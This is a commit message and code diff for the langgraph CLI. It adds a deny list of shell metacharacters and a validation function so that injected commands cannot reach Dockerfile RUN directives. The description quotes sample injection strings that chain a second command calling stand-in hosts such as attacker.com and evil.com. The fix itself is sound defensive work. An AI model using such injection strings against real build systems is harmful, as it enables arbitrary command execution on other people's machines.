fix(cli): block shell injection chars in build/install commands (#7044)

## Summary
- Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS`
to prevent command injection in CLI `build_command` / `install_command`
parameters
- Previously these values were interpolated directly into Dockerfile
`RUN` directives with no validation
- Single `&` is blocked (background execution) while `&&` remains
allowed since it's commonly used in build commands (e.g. `npm install &&
npm build`)
- Adds `has_disallowed_build_command_content()` validation function and
applies it in the `build` CLI command
- Mirrors langchain-ai/langchainplus#19143

**Attack examples now blocked:**
- `pip install foo | curl attacker.com` (pipe)
- `npm install; curl evil.com` (semicolon)
- `pip install $(whoami)` (command substitution)
- `pip install ${IFS}evil` (variable expansion)
- `npm install & curl evil.com` (background execution)

## Test Plan
- [x] 27 new unit tests covering all disallowed chars, injection
patterns, single `&` rejection, `&&` allowance, and valid commands
- [x] All 64 tests in `test_config.py` pass (37 existing + 27 new)

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>

libs/cli/langgraph_cli/cli.py

@@ -409,6 +409,18 @@ def build(
     install_command: str | None,
     build_command: str | None,
 ):
+    if install_command and langgraph_cli.config.has_disallowed_build_command_content(
+        install_command
+    ):
+        raise click.UsageError(
+            "install_command contains disallowed characters or patterns."
+        )
+    if build_command and langgraph_cli.config.has_disallowed_build_command_content(
+        build_command
+    ):
+        raise click.UsageError(
+            "build_command contains disallowed characters or patterns."
+        )
     with Runner() as runner, Progress(message="Pulling...") as set:
         if shutil.which("docker") is None:
             raise click.UsageError("Docker not installed") from None

libs/cli/langgraph_cli/config.py

@@ -13,6 +13,36 @@ from langgraph_cli.schemas import Config, Distros
 MIN_NODE_VERSION = "20"
 DEFAULT_NODE_VERSION = "20"
 
+DISALLOWED_BUILD_COMMAND_CHARS = [
+    '"',
+    "`",
+    "\\",
+    "\n",
+    "\r",
+    "\0",
+    "\t",
+    "|",
+    ";",
+    "$",
+    ">",
+    "<",
+]
+
+# Regex pattern matching a single "&" that is NOT part of "&&".
+# This blocks background execution (cmd &) while allowing command
+# chaining (cmd1 && cmd2) which is common in build commands.
+_SINGLE_AMPERSAND_RE = re.compile(r"(?<!&)&(?:&&)*(?!&)")
+
+
+def has_disallowed_build_command_content(command: str) -> bool:
+    """Check if a command string contains disallowed characters or patterns."""
+    if any(char in command for char in DISALLOWED_BUILD_COMMAND_CHARS):
+        return True
+    if _SINGLE_AMPERSAND_RE.search(command):
+        return True
+    return False
+
+
 MIN_PYTHON_VERSION = "3.11"
 DEFAULT_PYTHON_VERSION = "3.11"